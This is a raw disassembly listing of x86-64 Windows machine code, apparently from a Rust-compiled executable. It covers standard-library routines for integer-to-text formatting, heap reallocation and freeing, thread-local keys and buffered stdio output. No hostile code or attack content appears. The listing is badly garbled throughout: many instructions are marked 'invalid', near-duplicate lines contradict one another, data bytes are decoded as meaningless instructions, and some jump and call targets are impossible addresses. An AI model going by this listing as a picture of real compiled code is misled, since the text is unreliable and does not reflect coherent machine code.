rol dword [rax + r9*4 + 0x54], 1
push rsp
or eax, 0x498d4cae
invalid
cmp al, 0x10
mov eax, r8d
jae case.0x140018f24.3183
jmp 0x1400d4336
movzx eax, byte [rax]
mov r9d, 0x81
mov r8d, eax
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rcx + rcx*4 - 0x37], cl
mov rcx, r9
mov r9d, eax
mov ecx, eax
and r9b, 0xf
shr r8b, 4
shr al, 4
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x37]
cmp r9b, 0xa
movzx r9d, r10b
or al, byte [rbp + 0xf]
mov dh, 0xca
movzx r10d, r11b
mov dh, 0xd3
cmovb r10d, r9d
mov byte [rbp + rcx - 0x52], r10b
mov byte [rbp + rcx - 0x52], dl
lea r9, [rcx - 1]
cmp al, 0x10
mov eax, r8d
jae 0x1400d4300
invalid
retf 0x8348
add rcx, 0xfffffffffffffffe
cmp rcx, 0x81
dec byte [rax - 0x7f]
stc
add dword [rax], 0x830f0000
mov al, byte [rax]
jae 0x1400d43d1
add byte [rax], al
mov eax, 0x81
sub rax, r9
add byte [rax], al
add byte [rcx + rbp - 0x38], cl
sub eax, ecx
add rcx, rbp
add rcx, 0xffffffffffffffb0
mov qword [rsp + 0x28], rax
jmp 0xf0cec69e
mov al, 0x48
mov dword [rsp + 0x28], eax
and al, 0x28
mov qword [rsp + 0x20], rcx
and al, 0x20
lea r8, [0x140172d18]
lea eax, [0x140172d18]
or dword [rax], eax
mov r9d, 2
add al, byte [rax]
add byte [rax], al
mov rcx, rdx
mov dl, 1
jmp 0x1400d43c2
add ebx, ebp
movabs rcx, 0x8730a3c00000026
mov ecx, 0x26
add byte es:[rax], al
add byte [rdx + rcx], bh
cmp al, 0xa
jae 0x1400d4385
or al, 0x30
mov byte [rbp + rcx - 0x50], al
jmp 0x1400d4399
or eax, 0x4814ebb0
lea ecx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
lea rcx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
cmp byte [rdi], al
add byte [rdi], cl
movzx eax, word [rcx + rax*2]
mov word [rbp - 0x2b], ax
mov bh, 4
mov word [rbp - 0x2b], ax
mov dword [rbp - 0x2b], eax
mov ecx, 0x25
and eax, 0x48000000
lea eax, [rcx + rbp]
lea rax, [rcx + rbp]
add rax, 0xffffffffffffffb0
mov r8d, 0x27
add byte [rax], al
sub r8, rcx
mov qword [rsp + 0x28], r8
enter 0xffffffffffff894c, 0x44
and al, 0x28
mov qword [rsp + 0x20], rax
and al, 0x20
mov r8d, 1
mov eax, 1
mov rcx, rdx
mov dl, 1
xor r9d, r9d
call fcn.140012de0
nop
add rsp, 0xb0
pop rbp
ret
lea r8, [0x140115248]
mov edx, 0x80
call fcn.1401085a0
int3
mov rax, rcx
mul r10
shr rdx, 0xb
imul eax, edx, 0x2710
mov esi, ecx
sub esi, eax
imul edi, esi, 0x147b
shr edi, 0x13
imul eax, edi, 0x64
sub esi, eax
adc ebp, dword [rbx - 0x39]
sub esi, eax
invalid
movzx esi, si
lea rax, [r11 - 4]
movzx edi, word [r8 + rdi*2]
mov word [rbp + r11 - 0x54], di
movzx esi, word [r8 + rsi*2]
mov word [rbp + r11 - 0x52], si
mov r11, rax
cmp rcx, 0x5f5e0ff
mov rcx, rdx
ja 0x1400d4450
cmp rdx, 0x63
jbe 0x1400d44ce
movzx ecx, dx
shr ecx, 2
imul ecx, ecx, 0x147b
shr ecx, 0x11
imul r10d, ecx, 0x64
sub edx, r10d
movzx edx, dx
movzx edx, word [r8 + rdx*2]
mov word [rbp + rax - 0x52], dx
add rax, 0xfffffffffffffffe
mov rdx, rcx
mov rcx, r9
cmp rdx, 0xa
jae 0x1400d45d8
or dl, 0x30
mov byte [rbp + rax - 0x51], dl
dec rax
jmp 0x1400d45e6
mov rcx, r9
shr r8, 4
mov r9d, eax
and r9b, 0xf
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x57]
cmp r9b, 0xa
movzx r9d, r10b
movzx r10d, r11b
cmovb r10d, r9d
mov byte [rbp + rcx - 0x52], r10b
lea r9, [rcx - 1]
cmp rax, 0x10
mov rax, r8
jae 0x1400d4500
jmp 0x1400d4588
mov rcx, r9
shr r8, 4
mov r9d, eax
and r9b, 0xf
loope 0x1400d456d
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x37]
cmp r9b, 0xa
movzx r9d, r10b
movzx r10d, r11b
cmovb r10d, r9d
mov byte [rbp + rcx - 0x52], r10b
lea r9, [rcx - 1]
retf 0xf45
rol dword [rax + r9*4 + 0x54], 1
push rsp
or eax, 0x498d4cae
dec dword [rax - 0x7d]
clc
adc byte [rcx + rcx*4 - 0x40], cl
lea ecx, [rcx - 1]
cmp rax, 0x10
cmp eax, 0x10
mov rax, r8
mov eax, eax
jae 0x1400d4550
add rcx, 0xfffffffffffffffe
cmp rcx, 0x81
jae 0x1400d461d
mov eax, 0x81
sub rax, r9
add rcx, rbp
add rcx, 0xffffffffffffffb0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
sub byte [rax - 0x77], cl
and al, 0x20
and al, 0x20
lea r8, [0x140172d18]
add eax, 0x9e75f
add byte [rcx - 0x47], al
add al, byte [rax]
add byte [rax], al
mov r9d, 2
add byte [rax], al
add byte [rax - 0x77], cl
sal dword [rdx + 0x4846eb01], 1
mov edx, ecx
cmp rdx, 0x63
ja 0x1400d44a4
mov rcx, rdx
mov ecx, edx
mov dl, 1
jmp 0x1400d460c
jmp 0x1400d44ce
movzx edx, word [r8 + rdx*2]
mov word [rbp + rax - 0x52], dx
add rax, 0xfffffffffffffffe
lea rdx, [rax + rbp]
add rdx, 0xffffffffffffffb0
mov r8d, 0x27
sub r8, rax
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rdx
mov r8d, 1
mov dl, 1
xor r9d, r9d
call fcn.140012de0
nop
add rsp, 0xb0
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140115248]
mov edx, 0x80
call fcn.1401085a0
int3
add byte [rcx], dh
ror byte [rbp - 0x77], cl
invalid
mov r9, rdi
call qword [sym.imp.kernel32.dll_HeapReAlloc]
lea rcx, [rsi + 8]
lea rdx, [rsi + 0x10]
test rax, rax
jne 0x1400d4b7d
jmp 0x1400d4b8f
loop 0x1400d4aab
add byte [rax], al
test rdi, rdi
je 0x1400d4af0
movzx eax, byte [0x140182310]
cmp rbx, 0x11
jae 0x1400d4b50
xor ecx, ecx
mov rdx, rdi
call fcn.1400df910
lea rcx, [rsi + 8]
lea rdx, [rsi + 0x10]
adc byte [rax - 0x7b], cl
ror byte [rdi], 0x85
lahf
add byte [rax], al
invalid
adc byte [rax - 0x7b], cl
ror byte [rdi], 0x85
lahf
add byte [rax], al
add cl, ch
lodsb al, byte [rsi]
add byte [rax], al
add byte [rax - 0x39], cl
or byte [rax], r8b
add byte [rax], al
jmp 0x1400d4b8f
add cl, ch
movsd dword [rdi], dword [rsi]
add byte [rax], al
add byte [rax - 0x77], cl
fmul dword [rax - 0x73]
or byte [rax - 0x73], r9b
push rsi
adc byte [rax - 0x7b], cl
sal byte [rbp + 0x7d], 0xe9
jge 0x1400d4aea
mov rax, rbx
lea rcx, [rsi + 8]
lea rdx, [rsi + 0x10]
test rax, rax
jne 0x1400d4b7d
invalid
jge 0x1400d4aea
jmp 0x1400d4b8f
mov al, byte [rax]
add byte [rax], al
lea rdx, [rdi + rbx]
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400d4b87
lea rcx, [rbx - 1]
and rcx, rax
sub rbx, rcx
sub ebx, ecx
sub ebx, ecx
mov r12, rax
add r12, rbx
fmul qword [rax - 0x77]
sbb al, r15b
fmul qword [rax - 0x77]
sbb al, r15b
mov rcx, r12
mov rdx, r14
mov r8, r15
call fcn.140106530
mov r8, qword [r14 - 8]
mov rcx, qword [0x140182260]
add byte [rcx], dh
sar bh, cl
adc eax, 0x3e815
add byte [rcx], dh
sar bh, cl
adc eax, 0x3e815
mov rax, r12
jmp 0x1400d4b75
lea rdx, [rbx + rdi]
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400d4b87
lea rcx, [rbx - 1]
and rcx, rax
sub rbx, rcx
mov rcx, rax
add rax, rbx
mov qword [rcx + rbx - 8], rcx
lea rcx, [rsi + 8]
lea rdx, [rsi + 0x10]
mov qword [rcx], rax
mov qword [rdx], rdi
xor eax, eax
jmp 0x1400d4b9a
lea rcx, [rsi + 8]
lea rdx, [rsi + 0x10]
mov qword [rcx], rbx
mov qword [rdx], rdi
mov eax, 1
mov qword [rsi], rax
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
int3
int3
xlatb
or al, byte [rax]
mov rcx, qword gs:[0x58]
and eax, 0x58
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x58], 0
jne 0x1400d4c97
nop dword [rax + rax]
invalid
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov rax, qword [rax + 0x70]
test rax, rax
je 0x1400d4ca3
dec rax
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rsi, qword [rdx + rcx*8]
mov qword [rsi + 0x70], rax
add byte [rax - 0x75], cl
xchg esi, eax
push 0x48000000
shl eax, 4
loopne 0x1400d4c7b
add byte [rax - 0x75], cl
xchg esi, eax
push 0x48000000
shl eax, 4
loopne 0x1400d4c7b
loopne 0x1400d4c7b
mov rcx, qword [rdx + rax]
mov rax, qword [rdx + rax + 8]
mov qword [rsi + 0x58], 0
add byte [rax], al
invalid
add byte [rax], al
add bh, bh
ror byte [rax - 0x7d], 1
cmp dword [rsi + 0x58], 0
je 0x1400d4c30
lea rcx, str.library_std_src_syspalwindows_thread_local_key.rs
add byte [rax], al
call rax
cmp qword [rsi + 0x58], 0
cmp dword [rsi + 0x58], 0
cmp dword [rsi + 0x58], 0
pop rax
add byte [rax], al
add byte [rax], al
je 0x1400d4c30
lea rcx, str.library_std_src_syspalwindows_thread_local_key.rs
call fcn.140108820
add byte [rbx + 0xad66b05], cl
add byte [rbp + 0x48], ah
mov rcx, qword gs:[0x58]
mov eax, dword [0x140182314]
add eax, 0xad66b
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
mov r8, qword [rax + 0x68]
cmp qword [rax + 0x60], 0
mov qword [rax + 0x60], 0
mov qword [rax + 0x68], 8
mov qword [rax + 0x70], 0
mov dword [rax + 0x70], 0
mov dword [rax + 0x70], 0
mov qword [rax + 0x58], 0
je 0x1400d4d09
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x28
pop rsi
pop rbp
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rsi
pop rbp
ret
clc
lea rcx, [rbp - 8]
call fcn.1400d4d50
invalid
add byte [rax], al
invalid
invalid
nop
add rsp, 0x30
pop rbp
ret
int3
sub rsp, 0x60
lea rbp, [rsp + 0x60]
mov qword [rbp - 8], 0xfffffffffffffffe
mov dword [rbp - 8], 0xfffffffe
invalid
mov dword [rbp - 8], 0xfffffffe
mov rax, qword [rcx]
cmp byte [rax], 0
mov byte [rax], 0
je 0x1400d4f00
add byte [rax], al
add byte [rax], al
mov byte [rbp - 9], 0
mov rax, qword [0x1401821e0]
cmp rax, 3
jne 0x1400d4da8
cmp byte [rbp - 9], 0
test dword [rax], 0x8b482f74
add eax, 0xad4d9
je 0x1400d4db7
mov rax, qword [0x140182268]
cmp rax, 3
je 0x1400d4d9b
add rsp, 0x60
pop rbp
ret
call qword [0x140182270]
nop
add rsp, 0x60
pop rbp
ret
lea rcx, [rbp - 9]
call fcn.1401102f0
cmp byte [rbp - 9], 0
jne 0x1400d4d88
mov rax, qword [0x1401821e8]
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
lea rcx, [rcx + 0x81]
cmp rax, rcx
jne 0x1400d4de9
mov eax, dword [0x1401821f0]
inc eax
je 0x1400d4d88
add bh, bh
sal byte [rcx + riz*4 - 0x15], 0x34
invalid
jmp 0x1400d4e1d
xor al, 0xb1
add dword [rcx], esi
sal al, 0xf
mov al, 0xd
call rbx
or al, byte [rax]
mov cl, 1
xor eax, eax
lock cmpxchg byte [0x1401821f4], cl
jne 0x1400d4d88
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rax], al
invalid
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
lea rax, [rax + 0x81]
mov qword [0x1401821e8], rax
add byte [rax + 1], bh
add byte [rax + 1], bh
mov dword [0x1401821f0], eax
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x28], 1
fadd dword [rcx]
add byte [rax], al
add byte [rax - 0x39], cl
loopne 0x1400d4e38
add byte [rax], al
add dh, al
call 0x12d531442
add bh, al
jmp 0x1400d4e4a
fadd dword [rcx]
add byte [rax], al
add byte [rax - 0x39], cl
loopne 0x1400d4e38
add byte [rax], al
add dh, al
call 0x12d531442
add bh, al
jmp 0x1400d4e4a
cmp qword [0x1401821f8], 0
jne 0x1400d4f0c
mov qword [0x1401821f8], 0xffffffffffffffff
cmp byte [0x140182218], 0
jne 0x1400d4e8a
lea rcx, [0x140182200]
call fcn.1400d50b0
mov qword [rbp - 0x38], rax
test rax, rax
je 0x1400d4e8a
lea rcx, [rbp - 0x38]
call fcn.1400d3380
cmp qword [0x140182200], 0
je 0x1400d4eaa
mov r8, qword [0x140182208]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movups xmm0, xmmword [rbp - 0x30]
movups xmm1, xmmword [rbp - 0x20]
movups xmmword [0x140182210], xmm1
movups xmmword [0x140182200], xmm0
inc qword [0x1401821f8]
dec dword [0x1401821f0]
jne 0x1400d4d88
mov qword [0x1401821e8], 0
xor eax, eax
xchg byte [0x1401821f4], al
cmp al, 2
jne 0x1400d4d88
lea rcx, [0x1401821f4]
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
jmp 0x1400d4d88
lea rcx, str.library_std_src_synconce.rs
call fcn.140108970
lea rcx, str.library_std_srcio_stdio.rs
call fcn.140108820
ud2
je 0x1400d505c
mov r8, qword [rcx + 8]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x40
pop rbp
jmp qword [sym.imp.kernel32.dll_HeapFree]
add byte [rax - 0x77], cl
invalid
add byte [rax], al
add byte [rax - 0x77], cl
call 0x1b4cdd590
or dword [rax - 0x73], ecx
call 0x13ff07f39
dec dword [rax - 0x75]
invalid
add rsp, 0x40
pop rbp
ret
mov qword [rsp + 0x10], rdx
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x40]
mov rax, qword [rbp - 0x10]
cmp qword [rax], 0
je 0x1400d509f
mov rax, qword [rbp - 0x10]
mov r8, qword [rax + 8]
mov eax, dword [rax + 8]
mov eax, dword [rax + 8]
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x3e2c1
adc eax, 0x3e2c1
nop
add rsp, 0x20
pop rbp
ret
test esi, esi
je 0x1400d5218
add byte [rax], al
lea rsi, [rcx + 0x19]
lea rdi, [rbp - 0x28]
lea rbx, [rbp - 0x18]
xor r9d, r9d
lea r15, str.failed_to_write_the_buffered_data
mov qword [rbp - 8], rcx
invalid
clc
jmp 0x1400d510d
mov r14, qword [rcx + 0x10]
cmp r9, r14
adc byte [rbp + 0x39], cl
int1
jae 0x1400d51f5
mov byte [rcx + 0x18], 1
sub r14, r9
mov rdx, qword [rcx + 8]
mov qword [rbp - 0x10], r9
add rdx, r9
mov ecx, 0xfffffff5
mov r8, r14
mov r9, rsi
call 0x1400d3770
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
cmp rax, 1
jne 0x1400d5190
push rbx
invalid
push rbx
mov eax, edx
and eax, 3
cmp rax, 2
mov rcx, qword [rbp - 8]
mov r9, qword [rbp - 0x10]
jae 0x1400d5170
mov qword [rbp - 0x20], 1
mov qword [rbp - 0x18], rdx
mov byte [rcx + 0x18], 0
cmp eax, 1
jne 0x1400d51a9
cmp byte [rdx + 0xf], 0x23
je 0x1400d51e0
jmp 0x1400d521f
cmp eax, 2
jne 0x1400d51b1
mov rax, rdx
shr rax, 0x20
cmp eax, 6
jne 0x1400d526c
mov rcx, rdi
call fcn.1400d3380
mov rdx, r14
mov rcx, qword [rbp - 8]
mov r9, qword [rbp - 0x10]
mov byte [rcx + 0x18], 0
test rdx, rdx
je 0x1400d521c
add r9, rdx
jmp 0x1400d5100
cmp byte [rdx + 0x10], 0x23
je 0x1400d51e0
jmp 0x1400d521f
mov rax, rdx
shr rax, 0x20
mov qword [rbp - 0x20], 1
mov qword [rbp - 0x18], rdx
mov byte [rcx + 0x18], 0
cmp eax, 0x28
ja 0x1400d521f
cmp rax, 0x23
jne 0x1400d521f
nop word cs:[rax + rax]
mov rcx, rbx
call fcn.1400d3380
mov rcx, qword [rbp - 8]
mov r9, qword [rbp - 0x10]
jmp 0x1400d5100
test r9, r9
je 0x1400d5218
invalid
invalid
xor esi, esi
mov edx, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
cmp r14, r9
jae 0x1400d5258
lea r8, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_alloc_src_vecmod.rs
mov rcx, r9
mov rdx, r14
call fcn.140108620
xor edx, edx
jmp 0x1400d525c
mov rdx, r15
test r9, r9
je 0x1400d525c
mov rax, qword [rcx + 0x10]
mov rsi, rax
sub rsi, r9
jb 0x1400d5277
mov qword [rcx + 0x10], 0
je 0x1400d525c
mov rbx, rcx
mov rcx, qword [rcx + 8]
add r9, rcx
mov rdi, rdx
mov rdx, r9
mov r8, rsi
call fcn.140106530
mov rcx, rbx
mov rdx, rdi
mov qword [rcx + 0x10], rsi
mov rax, rdx
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
mov byte [rcx + 0x18], 0
test r9, r9
test ecx, ecx
test ecx, ecx
jne 0x1400d5224
jmp 0x1400d525c
in eax, 0x4c
lea eax, [0x1401496e8]
lea r8, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_alloc_src_vecmod.rs
mov rcx, r9
mov rdx, rax
call fcn.140108620
int3
clc
mov rdx, qword [rbp - 0x10]
call fcn.1400d52c0
add byte [rax + 0x28c48348], dl
add byte [rax + 0x28c48348], dl
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
in al, dx
and byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x20
test rdx, rdx
test edx, edx
je 0x1400d5300
mov rax, qword [rcx + 0x10]
mov rsi, rax
sub rsi, rdx
sub esi, edx
adc byte [r8 - 0x77], cl
invalid
sub esi, edx
jb 0x1400d5308
mov qword [rcx + 0x10], 0
adc byte [rax], al
add byte [rax], al
add byte [rcx + rbx + 0x48], dh
je 0x1400d5300
mov rax, qword [rcx + 8]
je 0x1400d5300
mov rax, qword [rcx + 8]
add rdx, rax
mov rdi, rcx
mov rcx, rax
mov r8, rsi
call fcn.140106530
mov qword [rdi + 0x10], rsi
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
lea r8, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_alloc_src_vecmod.rs
mov rcx, rdx
mov rdx, rax
call fcn.140108620
int3
or byte [rbp + 9], dh
mov rcx, qword [rcx]
pop rbp
jmp fcn.1400d4890
stosb byte [rdi], al
hlt
invalid
invalid
stosb byte [rdi], al
hlt
add byte [rcx - 0x48], al
invalid
call qword [rax + 0x18]
mov qword [rbp - 0x18], rsi
call 0x106fd99b0
int1
invalid
call 0x106fd99b0
int1
add byte [rax - 0x75], cl
mov rsi, qword [rdi]
mov rsi, qword [rdi]
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x77], cl
loopne 0x1400d547f
lea eax, [0x140149ae8]
sub byte [rax - 0x77], cl
loopne 0x1400d547f
lea eax, [0x140149ae8]
stosd dword [rdi], eax
invalid
mov qword [rsp + 0x20], rax
and al, 0x20
lea rdx, [0x140149ae6]
lea rcx, [rbp - 0x18]
call 0x1205ae19d
popfq
invalid
call 0x1205ae19d
mov r8d, 2
add byte [rax], al
call fcn.140014510
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x1400d5477
cmp eax, 1
jne 0x1400d5485
mov rax, qword [rsi + 0x18]
mov rcx, qword [rsi + 0x20]
dec rcx
jmp 0x1400d5487
lea rax, str.main
mov ecx, 4
add al, 0
add byte [rax], al
jmp 0x1400d5487
xor eax, eax
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rcx
lea rax, [0x140149b10]
mov qword [rsp + 0x20], rax
lea rdx, str.name
lea rcx, [rbp - 0x18]
call 0x1105ae1f6
call 0x1105ae1f6
mov r8d, 4
add al, 0
add byte [rax], al
call fcn.140014510
mov al, 1
cmp byte [rbp - 0x10], 0
invalid
invalid
je 0x1400d54c8
add rsp, 0x80
pop rdi
pop rsi
pop rbp
ret
mov rsi, qword [rbp - 0x18]
cmp byte [rbp - 0xf], 0
je 0x1400d54f2
jne 0x1400d54b4
test byte [rsi + 0x34], 4
jne 0x1400d550c
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x73], r9b
adc eax, 0x3fd39
mov r8d, 6
call qword [rax + 0x18]
jmp 0x1400d54bd
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x140115219]
mov r8d, 7
call qword [rax + 0x18]
jmp 0x1400d54bd
mov byte [rbp - 1], 1
movups xmm0, xmmword [rsi + 0x20]
movaps xmmword [rbp - 0x50], xmm0
lea rax, [rbp - 1]
mov qword [rbp - 0x40], rax
lea rdx, [0x140115226]
lea rcx, [rbp - 0x50]
mov r8d, 3
call fcn.1400146c0
test al, al
je 0x1400d5541
mov al, 1
jmp 0x1400d54bd
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
lea rdx, [0x14014a8ab]
mov r8d, 1
call qword [rax + 0x18]
jmp 0x1400d54bd
int3
lea eax, [0x14014c74c]
mov r8d, 4
mov rsi, rdx
mov rdx, rax
mov edx, eax
mov edx, eax
call qword [r9 + 0x18]
mov qword [rbp - 8], rsi
mov byte [rbp], al
mov qword [rbp - 0x10], 0
add dh, al
add dword [r8], r8d
lea r8, [0x1401496c8]
lea rcx, [rbp - 0x10]
lea rdx, [rbp - 0x18]
push rbp
call 0x1341d07a6
dec dword [rax - 0x75]
invalid
invalid
movzx edx, byte [rbp]
test rcx, rcx
je case.0x1400950e8.491
push rbp
call 0x1341d07a6
dec dword [rax - 0x75]
invalid
mov al, 1
test dl, dl
jne 0x1400d5646
xor al, 4
jne case.0x1400792d3.939
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str._____
mov r8d, 1
mov eax, 1
cmc
invalid
mov eax, 1
add bh, bh
push rax
sbb byte [rcx - 0x7bfe4f3f], cl
mov ecx, eax
mov al, 1
test cl, cl
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x1400d5646
mov al, byte [rdi]
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
call qword [rax + 0x18]
jmp 0x1400d5646
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x77113
mov r8d, 4
add rsp, 0x48
pop rsi
pop rbp
jmp rax
mov eax, edx
test al, al
setne al
add rsp, 0x48
pop rsi
pop rbp
ret
int3
mov rax, qword [rcx]
mov eax, dword [rcx]
mov rcx, qword [rax]
mov rax, qword [rax + 8]
or byte [rbx + rcx*4 + 0x42], cl
and byte [rbx + rcx*4 + 0x4a], cl
sub byte [rax - 0x77], cl
ret 0xe95d
pop rbp
jmp fcn.140017070
sbb esp, esi
invalid
sub byte [rax - 0x77], cl
ret 0xe95d
pop rbp
invalid
sbb esp, esi
dec esp
push rbp
push rsi
sub rsp, 0x48
in al, dx
lea rbp, [rsp + 0x40]
invalid
in al, dx
lea rbp, [rsp + 0x40]
invalid
mov rsi, rdx
mov rsi, rdx
mov qword [rbp - 0x18], rcx
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
lea rdx, str.ThreadId_f_
pop rax
invalid
add byte [rcx - 0x48], al
or byte [rax], al
add byte [rax], al
pop rax
invalid
or byte [rax], al
add byte [rax], al
call qword [rax + 0x18]
mov qword [rbp - 8], rsi
mov byte [rbp], al
mov qword [rbp - 0x10], 0
mov byte [rbp + 1], 0
lea r8, [0x14014af18]
lea rcx, [rbp - 0x10]
invalid
lea rdx, [rbp - 0x18]
call fcn.140016570
dec dword [rax - 0x75]
invalid
invalid
movzx edx, byte [rbp]
push rbp
add byte [rax - 0x7b], cl
leave
invalid
dec dword [rax - 0x75]
invalid
invalid
push rbp
add byte [rax - 0x7b], cl
leave
je case.0x14002a2ab.2525
mov al, 1
test dl, dl
jne 0x1400d5736
mov rsi, qword [rbp - 8]
cmp rcx, 1
jne 0x1400d571a
cmp byte [rbp + 1], 0
je 0x1400d571a
test byte [rsi + 0x34], 4
jne 0x1400d571a
add al, 0x75
and byte [rax - 0x75], cl
mov ecx, dword [rsi + 0x20]
invalid
invalid
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rsi + 0x28]
lea rdx, str._____
adc eax, 0x6f477
sub byte [rax - 0x73], r9b
adc eax, 0x6f477
ja case.0x14002a2ab.2520
invalid
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
leave
leave
jne 0x1400d5736
sbb al, 0x48
mov ecx, dword [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x73], r9b
adc eax, 0x7894f
invalid
invalid
lea rdx, [0x14014e078]
invalid
mov r8d, 1
call qword [rax + 0x18]
add byte [rax], al
add bh, bh
push rax
sbb bl, ch
jmp 0x1400d5736
mov eax, edx
test al, al
setne al
invalid
invalid
invalid
jmp 0x1400d5736
mov eax, edx
test al, al
setne al
add rsp, 0x48
pop rsi
pop rsi
pop rbp
ret
int3
int3
add byte [rax - 0x75], cl
add dword [rbx + rcx*4], ecx
mov eax, dword [rdx + 0x34]
test al, 0x10
adc byte [rdi], cl
test ecx, ebx
add byte [rax], al
invalid
adc byte [rdi], cl
test ecx, ebx
add byte [rax], al
add byte [rax + 0x1f850f20], ch
invalid
test dword [rdi], ebx
invalid
test al, 0x20
jne 0x1400d589a
add dword [rax], eax
add byte [rax - 0x77], cl
sar dword [rax + 0x27], 1
mov eax, 0x27
mov rcx, rdx
mov eax, 0x27
add byte [rax], al
lea r9, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
cmp r8, 0x2710
add byte [rax], al
and al, 7
add byte [rcx - 0x7f], cl
clc
adc byte [rdi], ah
invalid
add byte [rax], al
jb 0x1400d5926
add byte [rcx - 0x45], al
invalid
mov r11d, 0x27
add byte [rcx - 0x46], cl
pop r9
movabs r10, 0x346dc5d63886594b
xchg byte [rax], bh
invalid
invalid
nop word [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x40], cl
mov eax, eax
invalid
mov rax, r8
ror byte [rcx - 9], 0xe2
mul r10
loop 0x1400d57ff
shr rdx, 0xb
shr edx, 0xb
or ebp, dword [rcx - 0x3e]
imul eax, edx, 0x2710
adc byte [rdi], ah
add byte [rax], al
invalid
invalid
mov esi, r8d
mov esi, eax
sub esi, eax
imul edi, esi, 0x147b
adc al, 0
add cl, al
invalid
out dx, eax
add byte [rax], al
shr edi, 0x13
imul eax, edi, 0x64
invalid
adc ebp, dword [rbx - 0x39]
sub esi, eax
sub esi, eax
movzx esi, si
lea rax, [r11 - 4]
cld
test byte [rcx - 0x73], 0x43
cld
movzx edi, word [r9 + rdi*2]
mov bh, 0x3c
jns 0x1400d5846
cmp al, 0x79
mov word [rbp + r11 - 0x54], di
mov dword [rbp + r11 - 0x54], edi
mov dword [rbp + rbx - 0x54], edi
lodsb al, byte [rsi]
movzx esi, word [r9 + rsi*2]
movzx esi, word [rcx + rsi*2]
jno 0x1400d5851
mov word [rbp + r11 - 0x52], si
je case.0x140095d16.810
mov r11, rax
cmp r8, 0x5f5e0ff
cmp eax, 0x5f5e0ff
cmp eax, 0x5f5e0ff
clc
jmp rax
add eax, 0x77d08949
mov cl, 0x48
cmp edx, 0x63
cli
invalid
mov r8, rdx
ja 0x1400d57b0
cmp rdx, 0x63
cli
invalid
jbe 0x1400d5833
movzx r8d, dx
shr r8d, 2
imul r8d, r8d, 0x147b
sar byte [rbx + 0x14], 0
jnp 0x1400d5826
adc al, 0
add byte [rax], al
add byte [rcx - 0x3f], al
call 0x110789d2c
invalid
invalid
invalid
shr r8d, 0x11
shr eax, 0x11
imul r10d, r8d, 0x64
imul edx, eax, 0x64
sub edx, r10d
sub edx, r10d
